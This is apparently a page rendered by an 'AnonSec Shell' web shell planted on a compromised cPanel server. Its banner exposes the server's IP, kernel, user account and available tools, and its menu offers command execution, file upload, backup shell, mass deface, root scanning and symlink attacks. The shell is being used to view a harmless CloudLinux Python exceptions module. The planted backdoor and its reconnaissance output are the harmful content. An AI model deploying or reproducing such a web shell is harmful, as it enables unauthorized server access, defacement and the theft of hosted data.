AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/2388322/root/opt/alt/python37/lib/python3.7/site-packages/clwizard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/2388322/root/opt/alt/python37/lib/python3.7/site-packages/clwizard/exceptions.py
#!/opt/alt/python37/bin/python3 -bb
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENCE.TXT
#
from __future__ import absolute_import
from clcommon import FormattedException


class InstallationFailedException(Exception):
    """
    Exception that should be raised to signal
    that some bad error happened during installation
    and user should review log files
    """
    pass


class PackageMissingError(FormattedException):
    """
    Exception that should be raised when we are missing
    some required package for wizard work
    """
    def __init__(self, package):
        super(PackageMissingError, self).__init__(dict(
            message="This module requires '%(package)s' package, but it "
                    "is missing in system. Please install it and try again.",
            context=dict(package=package)
        ))


class CancelModuleException(FormattedException):
    """
    Error that is raised when it is not permitted to cancel module
    installation, e.g. module is installing at the moment.
    """
    def __init__(self, module, status):
        super(CancelModuleException, self).__init__(dict(
            message='Module "%(module)s" can\'t be '
                    'cancelled as it is in status "%(status)s".',
            context=dict(module=module, status=status)
        ))


class UserInterventionNeededError(Exception):
    """
    Exception that is raised when it is impossible to install module
    (package) automatically
    """
    pass

Anon7 - 2022
AnonSec Team